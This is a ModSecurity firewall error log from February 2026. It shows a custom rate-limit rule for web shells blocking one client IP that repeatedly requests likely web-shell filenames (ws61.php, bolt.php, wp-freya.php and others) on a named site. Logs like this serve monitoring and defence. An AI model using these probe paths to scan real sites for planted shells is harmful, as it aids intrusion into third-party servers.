[Sat Feb 28 06:33:39.137718 2026] [:error] [pid 39185:tid 39260] [client 158.158.96.194:18479] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pouhg.php"] [unique_id "aaIbwxVE-FfM89u7BQZQiwAAAI4"]
[Sat Feb 28 06:33:40.634471 2026] [:error] [pid 11791:tid 11795] [client 158.158.96.194:33572] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws61.php"] [unique_id "aaIbxGuX5e1Q32gqxH2sdQAAAQI"]
[Sat Feb 28 06:33:41.917425 2026] [:error] [pid 11791:tid 11808] [client 158.158.96.194:64854] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws61.php"] [unique_id "aaIbxWuX5e1Q32gqxH2sdwAAAQ8"]
[Sat Feb 28 06:33:43.448823 2026] [:error] [pid 39292:tid 39298] [client 158.158.96.194:22483] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws61.php"] [unique_id "aaIbx6IAO5fN7BxyqcFr-gAAAMQ"]
[Sat Feb 28 06:33:44.148855 2026] [:error] [pid 39292:tid 39308] [client 158.158.96.194:14104] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws61.php"] [unique_id "aaIbyKIAO5fN7BxyqcFsAAAAAM4"]
[Sat Feb 28 06:33:44.850942 2026] [:error] [pid 39292:tid 39313] [client 158.158.96.194:49871] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaIbyKIAO5fN7BxyqcFsBQAAANM"]
[Sat Feb 28 06:33:45.586108 2026] [:error] [pid 11791:tid 11807] [client 158.158.96.194:39040] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaIbyWuX5e1Q32gqxH2sfAAAAQ4"]
[Sat Feb 28 06:33:46.687485 2026] [:error] [pid 39292:tid 39308] [client 158.158.96.194:39090] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaIbyqIAO5fN7BxyqcFsEQAAAM4"]
[Sat Feb 28 06:33:48.476640 2026] [:error] [pid 39292:tid 39314] [client 158.158.96.194:39044] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "aaIbzKIAO5fN7BxyqcFsHwAAANQ"]
[Sat Feb 28 06:33:49.490251 2026] [:error] [pid 39292:tid 39295] [client 158.158.96.194:33546] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/app.php"] [unique_id "aaIbzaIAO5fN7BxyqcFsKgAAAME"]
[Sat Feb 28 06:33:50.965006 2026] [:error] [pid 39185:tid 39259] [client 158.158.96.194:20566] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/app.php"] [unique_id "aaIbzhVE-FfM89u7BQZQkAAAAI0"]
[Sat Feb 28 06:33:51.714517 2026] [:error] [pid 11791:tid 11793] [client 158.158.96.194:20593] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/app.php"] [unique_id "aaIbz2uX5e1Q32gqxH2sgwAAAQA"]
[Sat Feb 28 06:33:52.417861 2026] [:error] [pid 22194:tid 22205] [client 158.158.96.194:19805] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/app.php"] [unique_id "aaIb0H6mbajs3bzQGysDZwAAAUk"]
[Sat Feb 28 06:33:54.371765 2026] [:error] [pid 11791:tid 11807] [client 158.158.96.194:28617] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws59.php"] [unique_id "aaIb0muX5e1Q32gqxH2shgAAAQ4"]
[Sat Feb 28 06:33:55.854441 2026] [:error] [pid 39185:tid 39248] [client 158.158.96.194:23172] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws59.php"] [unique_id "aaIb0xVE-FfM89u7BQZQmAAAAII"]
[Sat Feb 28 06:33:56.884314 2026] [:error] [pid 22194:tid 22218] [client 158.158.96.194:1848] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws59.php"] [unique_id "aaIb1H6mbajs3bzQGysDdAAAAVY"]
[Sat Feb 28 06:33:57.663616 2026] [:error] [pid 39292:tid 39306] [client 158.158.96.194:13771] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws59.php"] [unique_id "aaIb1aIAO5fN7BxyqcFsVQAAAMw"]
[Sat Feb 28 06:33:59.253337 2026] [:error] [pid 39183:tid 39192] [client 158.158.96.194:16660] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaIb1xCf4HvhVePw3LZvmwAAAAA"]
[Sat Feb 28 06:34:00.508408 2026] [:error] [pid 39183:tid 39200] [client 158.158.96.194:13803] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaIb2BCf4HvhVePw3LZvoAAAAAg"]
[Sat Feb 28 06:34:06.226658 2026] [:error] [pid 22194:tid 22215] [client 158.158.96.194:16687] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaIb3n6mbajs3bzQGysDfgAAAVM"]
[Sat Feb 28 06:34:09.040587 2026] [:error] [pid 39184:tid 39233] [client 158.158.96.194:19357] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aaIb4VtZF9Zd_U7easA8JwAAAE4"]
[Sat Feb 28 06:34:12.573193 2026] [:error] [pid 39185:tid 39256] [client 158.158.96.194:62068] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mamzi.php"] [unique_id "aaIb5BVE-FfM89u7BQZQqQAAAIo"]
[Sat Feb 28 06:34:14.325747 2026] [:error] [pid 39292:tid 39305] [client 158.158.96.194:13407] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mamzi.php"] [unique_id "aaIb5qIAO5fN7BxyqcFsigAAAMs"]
[Sat Feb 28 06:34:15.105248 2026] [:error] [pid 39185:tid 39256] [client 158.158.96.194:31255] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mamzi.php"] [unique_id "aaIb5xVE-FfM89u7BQZQtwAAAIo"]
[Sat Feb 28 06:34:16.129181 2026] [:error] [pid 39292:tid 39297] [client 158.158.96.194:17855] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/mamzi.php"] [unique_id "aaIb6KIAO5fN7BxyqcFsmQAAAMM"]
[Sat Feb 28 06:34:19.205693 2026] [:error] [pid 39185:tid 39263] [client 158.158.96.194:31253] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aaIb6xVE-FfM89u7BQZQwAAAAJE"]
[Sat Feb 28 06:34:22.078847 2026] [:error] [pid 39292:tid 39315] [client 158.158.96.194:62026] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aaIb7qIAO5fN7BxyqcFsqgAAANU"]
[Sat Feb 28 06:34:24.699783 2026] [:error] [pid 11791:tid 11814] [client 158.158.96.194:1382] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aaIb8GuX5e1Q32gqxH2s0QAAARU"]
[Sat Feb 28 06:34:27.038327 2026] [:error] [pid 22194:tid 22213] [client 158.158.96.194:28807] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/222.php"] [unique_id "aaIb836mbajs3bzQGysDtgAAAVE"]
[Sat Feb 28 06:34:28.800661 2026] [:error] [pid 11791:tid 11810] [client 158.158.96.194:13327] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ae.php"] [unique_id "aaIb9GuX5e1Q32gqxH2s3AAAARE"]
[Sat Feb 28 06:34:31.819524 2026] [:error] [pid 39292:tid 39305] [client 158.158.96.194:33196] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ae.php"] [unique_id "aaIb96IAO5fN7BxyqcFswwAAAMs"]
[Sat Feb 28 06:34:32.923617 2026] [:error] [pid 39292:tid 39310] [client 158.158.96.194:27675] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ae.php"] [unique_id "aaIb-KIAO5fN7BxyqcFsyAAAANA"]
[Sat Feb 28 06:34:37.660877 2026] [:error] [pid 22194:tid 22216] [client 158.158.96.194:31553] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ae.php"] [unique_id "aaIb_X6mbajs3bzQGysD8QAAAVQ"]
[Sat Feb 28 06:34:39.292625 2026] [:error] [pid 39184:tid 39236] [client 158.158.96.194:25552] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ae.php"] [unique_id "aaIb_1tZF9Zd_U7easA8TAAAAFE"]
[Sat Feb 28 06:34:46.305089 2026] [:error] [pid 39184:tid 39237] [client 158.158.96.194:15184] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/06.php"] [unique_id "aaIcBltZF9Zd_U7easA8ZgAAAFI"]
[Sat Feb 28 06:34:47.905326 2026] [:error] [pid 22194:tid 22208] [client 158.158.96.194:22246] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/06.php"] [unique_id "aaIcB36mbajs3bzQGysD-wAAAUw"]
[Sat Feb 28 06:34:49.026764 2026] [:error] [pid 39292:tid 39307] [client 158.158.96.194:28825] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/06.php"] [unique_id "aaIcCaIAO5fN7BxyqcFs7QAAAM0"]
[Sat Feb 28 06:34:50.372847 2026] [:error] [pid 39184:tid 39222] [client 158.158.96.194:25578] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/06.php"] [unique_id "aaIcCltZF9Zd_U7easA8bAAAAEM"]
[Sat Feb 28 06:34:51.394223 2026] [:error] [pid 22194:tid 22204] [client 158.158.96.194:15377] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws60.php"] [unique_id "aaIcC36mbajs3bzQGysECgAAAUg"]
[Sat Feb 28 06:34:52.227546 2026] [:error] [pid 11791:tid 11798] [client 158.158.96.194:15369] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws60.php"] [unique_id "aaIcDGuX5e1Q32gqxH2s-wAAAQU"]
[Sat Feb 28 06:34:53.086037 2026] [:error] [pid 39292:tid 39304] [client 158.158.96.194:21606] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws60.php"] [unique_id "aaIcDaIAO5fN7BxyqcFtAQAAAMo"]
[Sat Feb 28 06:34:55.478548 2026] [:error] [pid 11791:tid 11812] [client 158.158.96.194:14563] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws60.php"] [unique_id "aaIcD2uX5e1Q32gqxH2tAgAAARM"]
[Sat Feb 28 06:34:57.420579 2026] [:error] [pid 22194:tid 22212] [client 158.158.96.194:23974] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-freya.php"] [unique_id "aaIcEX6mbajs3bzQGysEGwAAAVA"]
[Sat Feb 28 06:34:58.701585 2026] [:error] [pid 39292:tid 39303] [client 158.158.96.194:8468] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-freya.php"] [unique_id "aaIcEqIAO5fN7BxyqcFtEgAAAMk"]
[Sat Feb 28 06:35:02.483166 2026] [:error] [pid 11791:tid 11798] [client 158.158.96.194:15364] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-freya.php"] [unique_id "aaIcFmuX5e1Q32gqxH2tCQAAAQU"]
[Sat Feb 28 06:35:04.453537 2026] [:error] [pid 39292:tid 39294] [client 158.158.96.194:15395] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-freya.php"] [unique_id "aaIcGKIAO5fN7BxyqcFtIAAAAMA"]
[Sat Feb 28 06:35:05.674618 2026] [:error] [pid 11791:tid 11815] [client 158.158.96.194:18238] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bb.php"] [unique_id "aaIcGWuX5e1Q32gqxH2tDQAAARY"]
[Sat Feb 28 06:35:07.643438 2026] [:error] [pid 39292:tid 39309] [client 158.158.96.194:13722] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bb.php"] [unique_id "aaIcG6IAO5fN7BxyqcFtLAAAAM8"]
[Sat Feb 28 06:35:09.527862 2026] [:error] [pid 22194:tid 22214] [client 158.158.96.194:1226] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bb.php"] [unique_id "aaIcHX6mbajs3bzQGysEOwAAAVI"]
[Sat Feb 28 06:35:12.122660 2026] [:error] [pid 22194:tid 22199] [client 158.158.96.194:16257] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bb.php"] [unique_id "aaIcIH6mbajs3bzQGysEQgAAAUM"]
[Sat Feb 28 06:35:13.216240 2026] [:error] [pid 39183:tid 39195] [client 158.158.96.194:13714] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dsd.php"] [unique_id "aaIcIRCf4HvhVePw3LZwOwAAAAM"]
[Sat Feb 28 06:35:13.979159 2026] [:error] [pid 39292:tid 39315] [client 158.158.96.194:20150] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dsd.php"] [unique_id "aaIcIaIAO5fN7BxyqcFtOAAAANU"]
[Sat Feb 28 06:35:15.024349 2026] [:error] [pid 39292:tid 39305] [client 158.158.96.194:43006] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dsd.php"] [unique_id "aaIcI6IAO5fN7BxyqcFtPwAAAMs"]
[Sat Feb 28 06:35:16.112112 2026] [:error] [pid 22194:tid 22202] [client 158.158.96.194:20108] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dsd.php"] [unique_id "aaIcJH6mbajs3bzQGysETgAAAUY"]
[Sat Feb 28 06:35:16.754014 2026] [:error] [pid 39183:tid 39216] [client 158.158.96.194:15143] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/guk.php"] [unique_id "aaIcJBCf4HvhVePw3LZwPwAAABg"]
[Sat Feb 28 06:35:18.051357 2026] [:error] [pid 11791:tid 11803] [client 158.158.96.194:25252] [client 158.158.96.194] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/guk.php"] [unique_id "aaIcJmuX5e1Q32gqxH2tKgAAAQo"]
